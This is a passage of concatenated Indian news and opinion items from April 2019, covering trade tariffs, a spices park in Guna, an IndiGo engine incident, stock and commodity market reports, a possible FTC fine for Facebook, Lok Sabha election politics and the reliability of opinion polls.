May 2, the spokeswoman said without citing reasons for the delay. Angered by Washington's refusal to exempt it from new steel and aluminium tariffs, New Delhi decided in June last year to raise the import tax from Aug. 4 on some US products including almonds, walnuts and apples. But since then, New Delhi has repeatedly delayed the implementation of the new tariff. Trade friction between India and the U.S. has escalated after U.S. President Donald Trump announced plans earlier this year to end preferential trade treatment for India that allows duty-free entry for up to $5.6 billion worth of its exports to the United States. In a further blow, U.S. on Monday demanded buyers of Iranian oil stop purchases by May or face sanctions, ending six months of waivers which allowed Iran's eight biggest buyers including India to continue importing limited volumes. At an extreme end of the Guna district in Madhya Pradesh, when you pass through a long winding lane inside an unpaved road, you reach the 100-acre Spices Park. With an employment strength of almost 10,000-20,000, this project was started six years ago. But even in 2019, less than five of the 72 available plots have been taken up, employing about 50 people. Established in 2013 as an initiative of the Spice Board of India, this park resembles a ghost town. With only 3-4 units functioning, the crying need is to attract more companies to set up manufacturing hubs in this location. This is the fourth such park in India. Guna was chosen as the spot for the park since it is part of the country's second largest state and is a major agriculture hub. Most of the farmers in this region belong to the small and marginalised section of the society. "We have all the facilities in the Spices Park but do not have enough companies operating here. Since it is a little off the main Guna district, connectivity is a problem," said an official at the Spices Park. The Spices Park was set up at a cost of almost Rs 45 crore and has facilities for crushing, sterilisation as well as cold storage of spices. Infrastructure facilities like internal roads, power supply as well as banking facilities have also been proposed. A handful of public and private sector banks had expressed interest to set up operations inside the Park. But none of them have finalised these plans. "There is much more that can be done. We are inviting companies and also conducting training sessions across the villages among farmers. Hopefully, this will yield results," said a board official. For villagers, if transport facilities are made available, the Spices Park at Guna could become a one-stop shop for selling spices like coriander, chilly and turmeric. Cold storage facilities would ensure that the spices that are unsold can be stored for a longer duration. Ashok Devanji, a local chilli powder merchant, said travelling to the location is a pain-point for him as well for the workers he would need to employ. "Plots given on lease have water and power facilities. But the supply is not uninterrupted and it is a cause of concern. Hence, we decided not to take up land there," he added. Further, locals have also sought tax sops and power subsidies so that they can incentivise their operations within the Spices Park. Shyam Chowdhury, owner of a local spices unit called Shyamji's, said both Congress and BJP are equally responsible for neglecting this region. "Jyotiraditya Scindia inaugurated this project. After that, neither his party nor anyone from the opposition has bothered to check back on the progress made," he added. An industrial unit that offers superior facilities for processing of spices in the region, there is a much larger scope for development in Guna. In the Lok Sabha elections 2019, local farmers and small spice merchants are hoping for further expansion of the Spices Park in Guna so that this could become a regional hub for import and export of spice products. An initial probe by the apex aircraft investigation body AAIB has found that one of the Pratt & Whitney-powered engines of the A320 Neo flight of IndiGo, which had made a turn back to Pune early this month, stalled mid-air with a loud bang, according to sources. The investigation into the incident that took place on April 2 were handed over to the Aircraft Accident Investigation Bureau (AAIB), after a preliminary probe by the aviation regulator Directorate General of Civil Aviation (DGCA). The bureau has the mandate to investigate all serious incidents/accidents involving aircraft. The Pune-Nagpur flight being operated by an A320 Neo plane (VT-ITG) was later grounded at the Pune airport as it required a major engine overhaul. "While climbing out of FL150 (15,000 ft), a loud bang was heard by the crew which was followed by one engine stalling and high EGT (exhaust gas temperature) going over the limit," the AAIB said in its initial probe. The report has been shared with the French aviation authorities. The preliminary report also found damages to the engine's low pressure turbine (LPT), which forced the pilot to return to Pune. Significantly, IndiGo spokesperson on April 2 had termed the incident only as an 'engine caution message," while the incident was a grave safety risk as per the bureau report. "After take-off from Pune for Nagpur, the pilot observed engine caution message in the flight (6E-134) operated by an A320 Neo plane. Following this the aircraft returned to Pune," the spokesperson said even without admitting that the plane was a P&W-powered A320 Neo. When reached for comments on the AAIB probe, the airline Friday said as a "matter of policy" it does not comment on an on-going investigation and parried a query on why such a serious incident was dubbed as simply engine 'caution" message. "We immediately reported the occurrence as per the laid down SOP to the DGCA. Subsequently, the matter was also referred to the AAIB, whose investigation is still on," Indigo said in the statement. The US engine-maker Pratt &Whitney, which has been assuring DGCA of fixing the numerous issues its engines face for the past three years now, did not respond to a PTI query on the issue. The A320 Neos of IndiGo and GoAir, which are fitted with P&W engines have been facing glitches intermittently, including mid-air engine shut-downs since their induction in the fleets of these carriers over three year ago. The DGCA only recently conducted a special safety audit on IndiGo for alleged several lapses, non/ irregular reporting of incidents and had issued show-cause notices to its chief operating officer and the head of its engineering. IndiGo, however, claims that its "operations are run more stringent than the prescribed regulatory framework." Significantly, the now grounded Jet Airways, as also SpiceJet and Vistara had flagged serious concerns over the data on technical snags faced by them since 2017, which was provided by the government in Parliament. "The number of technical snags being reported by various airlines is inaccurate. This discrepancy and misreporting of data is leading to false illusion of the relative safety of some airlines over other,' the troika had said in a letter to ministry in March 2018. It came after IndiGo with a fleet size of 151 and over 1,000 daily flights, at that time, had reported only 340 technical snags, of the total 24,700 glitches reported by all carriers for in 2017. Later in July 2018, the airline revised these numbers by manifold to 14,628 from just 340. live bse live nse live Volume Todays L/H More Aurobindo Pharma stock hit 31-month high on April 26, rising 5 percent intraday after global research house Citi reiterated stock as one of its two top picks in Indian pharma space. The stock rallied nearly 43 percent in last nine months. It closed at Rs 830.10 on the BSE, up 4.34 percent after hitting an intraday high of Rs 836.95, the highest level since October 2016. Novartis disclosed additional details on Sandoz's US business that is to be divested to Aurobindo Pharma. "These additional details on Sandoz business added comfort on proforma numbers," Citi said, and hence it reiterated Aurobindo as one of the two top picks in Indian pharma. In September 2018, Aurobindo had signed a definitive agreement to acquire certain assets from Sandoz Inc, USA, a Novartis division for a consideration of $900 million. This proposed acquisition comprised dermatology business and a portfolio of oral solid products along with commercial and manufacturing infrastructure in the US. The brokerage said Novartis indicated CY18 revenue and operating profit of divested business at $1,174 million and operating margin 25 percent. "Divested business has net assets of $796 million and includes inventory of $188 million." These numbers imply a meaningful buffer on 2018 EBITDA of $294 million, Citi said. The deal is expected to close in CY19 subject to approvals. Oil prices dipped on Friday on expectations that producer club OPEC will soon raise output to make up for a decline in exports from Iran following a tightening of sanctions by the United States against Tehran. Brent crude futures were at $74.09 per barrel at 0029 GMT, down 26 cents, or 0.4 percent, from their last close. U.S. West Texas Intermediate (WTI) crude futures were at $64.82 per barrel, down 39 cents, or 0.6 percent, from their previous settlement. The dip followed Brent's rise above $75 per barrel for the first time this year on Thursday after Germany, Poland and Slovakia suspended imports of Russian oil via a major pipeline, citing poor quality. The move cut parts of Europe off from a major supply route. But prices were already gaining before the Russian disruption, driven up by supply cuts led by the Middle East dominated Organisation of the Petroleum Exporting Countries (OPEC) and U.S. sanctions against Venezuela and Iran. Crude futures are up around 40 percent so far this year. Washington said on Monday it would end all exemptions for sanctions against Iran, demanding countries halt oil imports from Tehran from May or face punitive action from Washington. To make up for the shortfall from Iran, the United States is pressuring OPEC's de-facto leader Saudi Arabia to end its voluntary supply restraint. "The U.S. will continue to pressure Saudi Arabia to lift its production to cover the supply gap," said Alfonso Esparza, senior market analyst at futures brokerage OANDA. Energy consultancy FGE said "the need is now very apparent for OPEC+ to take action and increase production" in order to keep markets well supplied and prevent prices from spiking. Despite U.S. efforts to drive Iranian oil exports down to zero, many analysts expect some oil to still seep out of the country. "A total of 400,000 to 500,000 barrels per day of crude and condensate will continue to be exported," said FGE, down from around 1 million bpd currently. Most of this oil would be smuggled out of Iran or go to China despite the sanctions. China, the world's biggest buyer of Iranian oil, this week formally complained to the United States over its unilateral Iran sanctions. Jay Purohit After a massive rally seen in March series, Nifty started April month with a good amount of long positions, which were carried forward to May series as well. Rollovers for May series stood at 81.39 percent, which is higher than its quarterly average of 62.94 percent. In the April series, the index registered a new all-time high of 11,856. However, due to some profit booking seen in the last few sessions, index trimmed its gains. The index concluded the April series with a marginal gain of 0.62 percent over its March expiry close. We witnessed marginal long build-up in the last few days and some of them got rolled to the next series as the open interest increased by 10.40 percent on the expiry-to-expiry basis. Foreign institutional investors (FIIs) continued their buying streak in April series too as they were net buyers in the cash market segment on most of the sessions and cumulatively bought equities worth Rs 12,419 crore in April expiry. On the other hand, domestic institutional investors (DIIs) remained net sellers in the cash market segment last month to the tune of Rs 4,146 crore. Highest open interest (OI) for May monthly expiry is placed at 11,000 put and 12,000 call options. Going forward, 11,550 would act as strong support for Nifty as it acted as a strong demand zone in April series. A sustainable move below 11,550 - 11,500 would be a sign of concern for the bulls. Since we are not seeing any signs of reversal in the derivatives data (as of now), we are expecting a continuation in the ongoing optimism in Nifty towards 12,000 mark. However, volatility is expected to remain high ahead of the outcome of the Lok Sabha elections and on the back of ongoing result season. After tremendous rally seen in March series, Bank Nifty failed to continue its outperformance against the benchmark indices. The banking index witnessed profit booking correction at higher levels and corrected by around 3 percent in April series. The month gone-by started with a good amount of long positions in banking index, which got rolled from March series. But, we witnessed some long unwinding in the last couple of weeks and as a result, the open interest decreased by 23.12 percent as compared to March expiry. However, the rollover (74.86 percent) is in line with an average of 74.63 percent. Since most of the banking stocks added short positions in the last couple of weeks and the same for rolled to the May expiry, we may see underperformance in the banking index in coming sessions too. For May series, support for Bank Nifty is placed at 28,600 and 28,000 levels while 30,600 30,700 zone would act as an immediate hurdle. At the current juncture, we are witnessing long rollovers in stocks like UltraTech Cement, ONGC, Shree Cement, TVS Motor, Marico, etc. While, stocks which added shorts in April series and the same got rolled to coming month are DLF, Reliance Capital, Bharti Infratel, Torrent Pharma, L&T Finance Holdings, Bank of India, etc. (The author is Technical & Derivatives Analyst at Centrum Broking Limited) The views and investment tips expressed by investment expert on moneycontrol.com are his own and not that of the website or its management. Moneycontrol.com advises users to check with certified experts before taking any investment decisions. Representative image live bse live nse live Volume Todays L/H More Since January, steel prices softened a bit on account of concerns over growth and global demand. Despite pressure on realisations, Tata Steel during Q4 FY19 reported close to 26 percent year-on-year (YoY) growth in group revenue on strong volume growth. On a consolidated basis, the company reported overall volume growth of 28.5 percent to 7.52 million tonne, largely on account of the recently acquired company: Bhushan Steel. Tata Steel India now contributes 63 percent of its volumes and registered a domestic sales growth of 12 percent on a quarter-on-quarter (QoQ) basis. While domestic business saw lower realisations, the group's operating performance was good. It earned an earnings before interest, tax, depreciation and amortisation (EBITDA) per tonne Rs 10,394 in Q4FY19 as against Rs 10,012 per tonne in the corresponding quarter last year. This was partly on account of Bhushan Steel, which sold 1.14 million tonne of steel during Q4 but reported a sharp reduction in EBIDTA per tonne to Rs 6,911 largely because of lower realisations (due to increase in exports and change in product mix). The European business, however, reported robust earnings, with higher volumes. It clocked an EBIDTA per tonne of close to Rs 6,591 in the March quarter as against Rs 4,466 year-on-year. Steel prices are expected to remain firm after the elections and may even rise towards the end of FY20 as a result of higher demand. The industry expects over seven percent demand growth for steel in India. If price environment remains conducive, Tata Steel has many levers to play. Integration of the recently acquired Bhushan Steel will help achieve higher volumes and improve overall India profitability. The management is hoping that with the help of recent acquisition, like Bhushan Steel, which is producing around 4.1 million tonne and can rise to about 5 million tonne, and about 0.6 million tonne from the newly acquired Usha Martin assets, it can target additional one million tonne of production this fiscal. Last year, its European operation was hit because of the shutdown of blast furnace, which is now operating at normal rate and can add to overall volumes. Moreover, the focus is more on profitability and reduction of debt. In Bhushan Steel, there is further scope for improving profitability and the company is targeting an EBITDA per tonne between Rs 10,000 and Rs 11,000. With the divestment of South Asian Business and easing worries over its European business, its debt too should come down. It has already reduced a good amount of its debt through internal accruals. At the end of FY19, its net debt stood at Rs 94,879 core. This is also reflected in its valuations. At its April 25 closing price of Rs 510 per share, its stock is trading at seven times its FY20 estimated price-to-earnings, which is quite reasonable. Follow @jitendra1929 For more research articles, visit our Moneycontrol Research page Moneycontrol Research analysts do not hold positions in the companies discussed here CarterX, a technology-based logistics platform for travellers has raised an undisclosed amount of funding from Mumbai Angels Network, it said in a statement on April 26. The Bengaluru-based firm will use the funds to scale operations and expand to new locations. Founded in 2017 by Harshavardhan N and Ramya Reddy N, CarterX is a logistics service provider that combines luggage transfer with airport assistance to and from the airport. It allows passengers to check-in bags from home and travel to and from the airport without their baggage. Catering to both the B2B and B2C segments the company offers three services: Doorstep pick-up and delivery, baggage check-in and mishandled luggage. We believe CarterX has an immense opportunity to improve the customer experience in the aviation supply chain through their baggage management platform. We view the concierge baggage service also easing the logistical burden between the passenger and airport, said Nandini Mansinghka, Network Chief Executive Officer and Managing Director, Mumbai Angels Network. Currently, operational in Hyderabad and Bengaluru airports, CarterX plans to expand to Mumbai, Delhi, Kolkata, and Chennai airports shortly. On Wednesday, Facebook officially admitted that it is expecting a penalty of up to $5 billion by the US Federal Trade Commission (FTC) for privacy violations. If FTC imposes the fine, this will be the largest for any technology company in its history. The biggest so far was a $22-million penalty on Google in 2012. The US regulator has faced criticism globally for being biased towards the Silicon Valley firms which are left to grow unchecked with little regulation. A $5-billion fine on Facebook, if it materialises, will be the start of a new era. Things will not be the same for technology companies in the US anymore. The expected fine is the outcome of an ongoing inquiry by the US regulator for an alleged violation of 2011 privacy consent decree in which Facebook had agreed to take a series of measures to protect the privacy of its users. The decree came after an investigation that found misuse of data had caused harm to consumers. Since the time FTC found that Facebook failed to abide by the agreed terms, the social media company has been negotiating with the US regulator. Interestingly, in 2018 FTC started a fresh investigation and Facebook was found to have shared data with third-party consulting firms, such as Cambridge Analytica, which planned the political campaign for Trump using Facebook users data without consent. There have also been allegations of data breach of 50 million users. While this would be the first time an American regulator will impose a heavy penalty on a tech firm, it is not new in other parts of the world. Last July, the European Union imposed a fine of $5.1 billion on Google for misuse of its power in the smartphone market. However, even if FTC penalizes Facebook, it wont dent its balance sheet significantly. The social media giant has more than $45 billion in cash reserves. Facebooks March-quarter revenue grew 26 percent to $14.97 billion, while net income dropped 51 percent, as the company set aside $3 billion for legal expenses relating to the FTC case. The street was probably expecting the penalty to be much bigger. Post-earnings announcements, which included the penalty figure, Facebooks stock price rose more than 8 percent during the after-hour trading. The negotiations with FTC might have been the reason why Facebook co-founder and chief executive Mark Zuckerberg last month spoke about his plans to eventually shift people towards private conversation, as privacy is becoming the most important concern across the world. Interestingly, this is not the first time Facebook is going to face a penalty. In October last year, a UK regulator, Information Commissioners Office had imposed a fine of 500,000 in connection with the Cambridge Analytica scandal. The fine imposed by the UK regulator was probably a wake-up call for the American regulator, which is now ready to crackdown the social media giant. However, when it starts, it is unlikely to stop with Facebook. By penalizing Facebook, FTC is sending a signal to the Silicon Valley tech fraternity that times are changing. Even for Facebook, the penalty by FTC wont be the last one. Facebook is present across the world barring a few countries. The Zuckerberg-owned social media giant is facing numerous issues in each of the countries ranging from coping with the local regulations, to failing to tackle fake news, to concerns of privacy breach of local users, including in India, where it has the largest number of users (even more than its home market, the US). Facebook, along with its other social media entities like WhatsApp and Instagram, have been summoned by the Indian authorities. Just before the election started in the worlds largest democracy, authorities indicated the possibility of penalising social media firms if an attempt was made to influence the electoral process through undesirable means. Facebook, along with all its companies have since been working hand-in-hand with the Indian government to control dissemination of fake news, or misinformation. Despite all their efforts, Reuters reported , fake news still thrives across social media. In any case, as has happened in the US, Indian political parties have used Facebook and its messaging entity WhatsApp for political propaganda in the past. The role of Cambridge Analytica in Indias last general elections in 2014 has also been widely reported. Cambridge Analytica, like everywhere else, used Facebook users data to design election strategies for political in India. As countries get tougher on privacy concerns, data sharing and cross-border data flows, this will increase regulatory scrutiny on Facebook and other social media companies. Secondly, social media is no longer just about connecting people but also big business. Regulators are wisening up to that fact. Thus, penalties may get more frequent and harsher. Representative image The Central Works Public Department (CPWD) has constituted an expert committee to formulate a design policy for building construction and infrastructure development. A government official said the committee has been set up under the chairmanship of CPWD's Additional Director General M K Sharma. The move is aimed at reviving building construction and infrastructure development at all levels in the CPWD which comes under the Housing and Urban Affairs Ministry. The official said the eight-member committee has been asked to submit its report to Director General Prabhakar Singh within 30 days. "Several experts from different fields have been included in the committee to formulate design policy, which will guide engineers in construction of buildings and infrastructure development," the official said. The CPWD is the largest construction agency of the central government. It constructs most of the government's buildings across the country, erects fences on the country's international borders, among others. The agency also carries out projects in foreign countries under friendship programmes with India. Prime Minister Narendra Modi Friday hit out at Congress president Rahul Gandhi and party's Chief Ministers in Madhya Pradesh and Rajasthan, saying they are busy promoting their families at the cost of people. Addressing an election rally here, he said these Congress leaders are not concerned about the children of common citizens of the country. Targeting Gandhi, Modi once again described him as a 'naamdar' (dynast). "There is a naamdar (Gandhi) in Delhi and in Rajasthan and Madhya Pradesh the Congress Chief Ministers are busy in making careers of their sons. "When you ask in Rajasthan where is the chief minister and you get to know that he is in Jodhpur to ensure victory for his son. "In Madhya Pradesh also when you ask where is the CM and you come to know that he is busy handling his son (campaign) in Chhindwara," the prime minister said. He said these Congress Chief Ministers are not at all concerned about the sons of common citizens. "When they are busy handling their sons, how can they have any concern for your sons? They are worried about their sons and have no concern for crores of sons of the country," Modi said, criticising the Congress for promoting select families in politics. Rajasthan Chief Minister Ashok Gehlot's son, Vaibhav, is contesting from the Jodhpur Lok Sabha seat, while his Madhya Pradesh counterpart Kamal Nath's son, Nakul, is in the fray from the Chhindwara parliamentary constituency. Voting in Chhindwara will take place on April 29. The rally here was organised in support of BJP Lok Sabha candidate from Jabalpur Rakesh Singh, who is the sitting MP from the seat. Madhya Pradesh, which has 29 Lok Sabha seats, will vote in four phases starting from April 29. Sujata Anandan The Bharatiya Janata Partys (BJPs) feelings towards Nationalist Congress Party (NCP) leader Sharad Pawar is only second to its obsession with the Nehru-Gandhis. Ground reports suggest that the BJP asked all its workers belonging to Baramati but residing in Mumbai, Thane, Navi Mumbai, Pune and elsewhere to head towards their home constituency and cast their vote on April 23. While similar messages would have been given elsewhere, an extra emphasis was given in Baramatis case because the BJP wants to defeat the NCP candidate Supriya Sule. Sule is the sitting MP from Baramati and Pawars daughter. The BJP is hoping to defeat Sule and make history for the Baramati seat has been held by Pawar, either himself or by someone he has chosen, for 52 straight years and no one has been able to defeat the Maratha strongman in his bastion even during the various waves in 1984 when the Congress swept the nation under Rajiv Gandhi and in 2014 when the BJP swept the nation on a Modi wave. So why is the BJP gunning for Pawar who Prime Minister Narendra Modi acknowledged had held my hand and taught me to walk in my early days in Gujarat.? There is more to do with this than meets the eye and the answer lies in Pawar's acceptability to all political parties and his formidable networking skills. On January 26, 2018, Pawar had sounded the first bugle of opposition unity by organising a Save Constitution rally in Mumbai by getting together leaders from 18 political parties as diverse as the Left and Trinamool Congress, the JD(U) and the Congress (even before they formed a government in Karnataka in May that year) and the Samajwadi Party (SP) and the Bahujan Samaj Party (BSP) who subsequently came together for bypolls in Uttar Pradesh. This rally was Pawar's way of testing the waters for a grand alliance nationwide and that is when he came to the conclusion that the Mahagathbandhan would have to be a sum of smaller alliances in each state. The captain of each alliance would have to be different and no one party can dominate the alliance at the Centre, he opined privately. That was a piece of advice that Congress President Rahul Gandhi took seriously which is the main reason why the Congress has not forced itself upon other secular parties and stood back as each regional leader went ahead in her own state to seize the opportunity depending on local factors. This is why former BJP leader Shatrughan Sinha is today a star campaigner for the Congress and is contesting on the party ticket from Patna Sahib in Bihar while his wife Poonam Sinha will be contesting on a SP ticket from Lucknow in Uttar Pradesh. The actor-turned-politician was even present at his wife's ceremonial entry into the SP and the Congress raised no objections thats the understanding drawn from Pawar's philosophy that no political party is an anathema but a toxic ideology is something that all must come together in different ways to defeat. The BJP has been quick to recognise how dangerous this could be for its survival. Pawar is the singular leader acceptable to all diverse parties in the Mahagathbandhan and even those outside it, such as Biju Janata Dal (BJD) leader Naveen Patnaik who is all on his own, at odds with both the Congress and the BJP in Odisha. Naveen is looked upon as a son by Pawar who was close to his father Biju Patnaik thats the reason why even during the UPA years there was an alliance between the BJD and the NCP during Odisha assembly polls. Given this, Naveen might not find it difficult to be on Pawars side when the opportunity arises. The same goes for the Shiromani Akali Dal (SAD) in Punjab, which is having problems with the BJP. SAD leader Parkash Singh Badal is an old pal of Pawars both are farmer leaders and connect easily. Rahul Gandhi has shown a propensity to step back for others in pursuit of a larger goal as was seen in Karnataka where Gandhi fought to keep the BJP out of power, for which he ceded space to Janata Dal (Secular) (JDS) leader HD Kumaraswamy to become the chief minister despite the Congress having more seats than the JDS. It is this trait in Gandhi which has helped Pawar build bridges with other non-BJP parties across India, including in his own state where Maharashtra Navnirman Sena (MNS) President Raj Thackeray, under his tutelage, is focusing his criticism on the BJP and Modi. This is helping the Congress-NCP combine by denting Shiv Sena vote bank. If push comes to shove, even the Shiv Sena, which had an acrimonious relationship with the BJP for the last five years, will not find it difficult to break from the BJP again and go with the mard Marathi manoos as Pawar recently described himself in response to the attacks from BJP leaders. Depending on the number of seats the BJP or the other parties get, Pawar is likely to play a major role in weaving together all the parties inimical to the BJP in a post-poll alliance. Since he is not contesting this time, to bring him down the BJP must target his daughter. However, Pawar is a different cup of tea, compared to Modi and the BJP. I do not pay heed to criticism by any such lungya-sungya (Marathi equivalent of every Tom, Dick and Harry), he said of Modis and BJP President Amit Shahs criticism. The gloves are off. The results are awaited. Sujata Anandan is a senior journalist and author. Views are personal. For more Opinion pieces, click here One of the most fascinating concepts proposed in the 20th Century is Schrodinger's cat, the thought experiment that explains a paradox in quantum mechanics. According to the Nobel-Prize winning physicist Erwin Schrodinger, it was impossible to know the state of the cat inside the metal box and thus it could be both alive and dead at the same time. Sounds puzzling? It was Schrodinger's way of debunking quantum superposition. Over the decades, the experiment has found several references in pop culture, such as in the TV sitcom The Big Bang Theory. If there was a political equivalent to it, without doubt, the question would be: Is the Aam Aadmi Party (AAP) and the Congress fighting the 2019 Lok Sabha polls as an alliance or not? For more than four months now media leaks, speculations, clarifications and counter-clarifications have been doing the rounds regarding an AAP-Congress alliance in Delhi to fight the Bharatiya Janata Party (BJP). Finally, on April 22, the Congress announced its list of candidates for six of the seven Lok Sabha seats in Delhi and closed the window for an alliance. Or did it? This is because a day later Congress President Rahul Gandhi said that his party was ready for a last second tie-up. AAP had earlier announced its seven candidates to all the seats in Delhi. The confusion surrounding the AAP-Congress combine is a good example of how in politics, ambition overrides pragmatism and ego supersedes reality to create a political smog a smog through which the BJP is likely to walk through in a leisurely manner to the finish line. Reason for optimism In 2014, riding high on a Modi wave the BJP won all the seven seats in the state every candidate won by a margin of more than 100,000 votes. In second place was AAP, and relegated to a humbling (and humiliating) third was the Congress, which was the incumbent in all seven seats. However, since 2014, the BJP at the Centre has faltered on multiple occasions. So, it would not be a cakewalk for its candidates this time. AAP has reason to be optimistic because it won the 2015 assembly polls in a thumping manner and has since concentrated on fulfilling many of its promises. It is approaching the electorate on the basis of these achievements. For the Congress what gives hope is the revival of the party in the state and the hope that an anti-BJP sentiment would work in its favour. The deal-breaker According to media reports and information shared by both parties, it is clear that a 4:3 seat-sharing formula was nearly struck, with AAP getting four seats and three for the Congress. According to Gandhi, though the state Congress leaders were initially reluctant to the alliance, by the time they were convinced, Delhi Chief Minister and AAP leader Arvind Kejriwal added Haryana to the equation. Some sources said that AAP wanted an 18-seat alliance spread across Delhi (seven seats), Chandigarh (one seat) and Haryana (10 seats). This was the deal-breaker. Lessons from 2014 Now AAP cannot be faulted for being ambitious; after all, the party has been growing its base in the state. It won 33 per cent of the vote share in the 2014 general elections and a year later in the assembly polls won a whopping 54.5 per cent in Delhi. Without doubt, the 2014 general elections and the 2015 assembly polls were forgettable outings for the grand old party. In 2014, its vote share plummeted by almost 42 per cent to 15.2 per cent! In 2015, all it received was an unmentionable 9.7 per cent of the votes polled. Be that as it may, the Congress has mainly three reasons to be optimistic about its chances this time. First, the 2017 MCD elections saw the Congress pocket a respectable 21.1 per cent of the votes, while AAP had 26.2 per cent and the BJP had 36.1 per cent. The local units are slowly picking up momentum and this is encouraging for the party. Second, with former Delhi Chief Minister Sheila Dikshit as Congress state chief, the party is led by a warhorse who governed Delhi for two full terms and is credited for changing Delhi into the metropolitan city it is today. Third, the anti-BJP sentiments and the disillusioned, undecided voters could be attracted to Congress promises. Even if this strategy backfires, the Congress would be hoping that this outing will help it in the 2020 assembly polls. If that is the case, it is underestimating the BJP juggernaut that treats every election like a general election, maintains a constant tempo and does not show electoral courtesies while ensuring that it wins. BJP, the beneficiary A three-way contest in Delhi is music to the BJPs ears. If AAP and the Congress were to fight together, the joint vote-share of both parties (based on the 2014 numbers) is more than the BJPs in six of the seven Lok Sabha seats in Delhi. For example, in the North West Delhi constituency, the BJP polled 46.45 per cent of the votes in the 2014 elections the combined tally of AAP and the Congress was 50.18 per cent. Similarly, in Chandni Chowk the BJPs number was 44.6 per cent, while the AAP-Congress combine was 48.67 per cent. Now, with a three-way contest, the BJP can be rest assured that its seats are safe. Unless, of course, there is a last second, tacit understanding between AAP and the Congress. To know that one will have to wait till May 23 when the ballot boxes are opened much like to know whether Schrodinger's cat is alive or dead, one will have to open the box. For more Opinion pieces, click here The UK's Westminster Court on April 26 further remanded fugitive diamantaire Nirav Modi until May 24, rejecting his bail plea for the third time now. 48-year-old Nirav has been lodged in Wandsworth prison in south-west London since he was arrested by the UK Police on April 11. Westminster Magistrates Court Chief Magistrate Emma Arbuthnot, in a brief hearing today, further remanded the prime accused in the Rs 19,000 crore PNB scam till May 24, declaring the next hearing to be held on May 30. Meanwhile, a dozen luxury cars belonging to Nirav Modi and Mehul Choksi have been auctioned, fetching the government exchequer Rs 3.29 crore, the ED said on April 26. The vehicles were attached by the agency under the Prevention of Money Laundering Act (PMLA) in the past. The Enforcement Directorate (ED) had in March obtained the permission of a special PMLA court in Mumbai for auctioning 13 cars of the Modi-Choksi duo as part of its money laundering probe in the USD 2 billion alleged bank loan fraud. The e-auction was carried out by Metal Scrap Trade Corporation (MSTC) Ltd, it said in a statement. "There are 13 vehicles (11 belonging to Nirav Modi group and 2 belonging to Mehul Choksi group) put on e-auction through MSTC platform on April 25. "Out of these 13 vehicles, twelve (10 of Nirav Modi group and 2 of Mehul Choksi group) were successfully bided for a total amount of Rs 3,28,94,293," it said. The Income Tax Department had last month auctioned several art works that were owned by absconding diamond merchant Nirav Modi for Rs 59.37 crore. The ED and the CBI are investigating Nirav Modi, his uncle Choksi and others for alleged money laundering and corruption to perpetrate the alleged scam in the Brady House branch of the PNB in Mumbai that was unearthed last year. While Nirav Modi has been arrested in London recently and India is seeking his extradition, Choksi is said to be in the Caribbean nation of Antigua and a similar legal action against him is on too. With inputs from PTI Harish Puppala | Rakesh Sharma It is election season, and the biggest that world has witnessed is underway in India. It is estimated that around 900 million people will cast their vote in this years lok sabha election across one million polling stations. And 2019 is being hyped as the election that will make or break India. Given the importance of such an event, and the consequences that follow, it is natural that observers, and even lay people, discuss the outcome at length. No matter whom we meet these days, the election is an inescapable topic. In such an environment, opinion polls are hot commodities. Or, at least, they should be. Our news media has dozens of opinion polls across many channels and languages. And they have them all the time. Everything in the world has a season, except, evidently, apples, bananas and opinion polls. But these polls have come under fire of late. While many of them predicted the Congress partys win in Madhya Pradesh, Rajasthan and Chattisgarh, as well as the coalition government in Karnataka, they most famously went horribly wrong in 2014. Remember the denials of a Modi wave, and the denials of those denials, and so on? So where do we stand today? Are opinion polls even worth our time? Thats the subject of todays deep dive. The dangers of forecasting Lets look at what constitutes an opinion poll. Take, for instance, the India Today-Karvy poll from January of this year. India Today explained that its poll was conducted...to gauge the nation's atmosphere ahead of the all-important Lok Sabha elections. A total of 12,166 interviews were conducted - 69% rural and 31% urban - across 97 parliamentary constituencies in 194 assembly constituencies in 19 states. An additional 1,103 interviews were conducted in 20 parliamentary constituencies across Uttar Pradesh to analyse the most populous state in the country, and therefore, one of the most pivotal states in the upcoming Lok Sabha elections. The addition of extra interviews conducted in Yogi Adityanath-led Uttar Pradesh takes the total sample size of the survey to 13,179(it) followed a multi-stage stratified random sample design, where all interviews were conducted face-to-face using a standard structured interview questionnaire. Those are some impressive numbers, albeit still minuscule given the large population of this country. A cursory look over the results of opinion polls between early 2013 and May 2014 shows that they got things wrong, especially on whether the BJP would get a full majority. The most that the NDA, the alliance that the BJP is a part of, received in over 15 such opinion polls was 275 lok sabha seats while BJP was expected to win around 220 seats by itself. Come result day, and BJP won a full majority with 282 seats, and the NDA decimated the opposition to win 336 lok sabha seats. Even more damning was the number of seats predicted for the Congress party. The party won 44 seats, only around 50% of the absolute minimum number predicted. The ruling coalition, UPA, won just 60 seats, again only half of the seats predicted by various opinion polls. It is no surprise then, that the fortunes of the fortune tellers fell rapidly after that. The exit polls were not particularly accurate either, which didnt help reputations. The errors in our predictions Yogendra Yadav - previously a member of the Aam Aadmi Party and now national president of Swaraj India - and a psephologist who is a regular on news channels, wrote in The Print, I do not think the pollsters are deliberating misleading us. I have been in this business of election forecasting. I know that pollsters hate to get their forecast wrong. And they pay big professional price when they do. The reason for a possible failure is technical. He explained that there are different types of errors. One error comes about because, according to Yadav, They are risk averse, and hence play it safe. They get the winner right, but underestimate the extent of victory. Typical recent examples would be the AAPs or the BJPs sweep in Delhi or Uttar Pradesh, respectively. Most pollsters predicted the victor but almost no one got the extent of the victory right. Another type of error, Yadav claims, is ...where one gets the victor wrong or predicts a big sweep that does not happen. This is every pollsters nightmare, and often happens when the pollster takes a risk and goes strictly by what the numbers indicate. My own misadventure in projecting a clear defeat for the BJP in Gujarat in 2017 illustrates (this). I saw two credible polls showing a decline for the BJP in the last four weeks and simply projected it onto the final outcome. Pollsters who predicted a clean sweep for the Congress in Rajasthan based on correct pre-poll data made the same error. Yadav supports his claim by way of opinion polls from the NDAs famous loss in 2004. He wrote, When Vajpayee advanced the general elections by six months, every poll expected the NDA to come back with over 300 seats. Pre-election polls closer to the election date gave an average of 271 seats to the NDA...When the results came, the NDA won 187 seats.the BJPs own tally...a paltry 138... So what went wrong in 2004? Yadav explains, Basically, all the pollsters played it safe in estimating the loss of seats for the BJP...since they made the same error in a number of states, the accumulation of small errors led to a big blunder....in 2004, all pollsters played it safe by understating the BJPs losses in most of the states. Instead of cancelling one another, forecasting errors stacked up(it was) one of the most embarrassing polling blunders of recent times. M Ramesh, writing in Business Line, essentially concurred with Yadav, He wrote, when media houses know their methodology is not good and the surveys are very different from the general predictions of all others, they lose faith in their data. In such cases, they tend to play it safe and give out a number which is more in line with the trend, rather than stick to what their data show widening the prediction-result chasm. 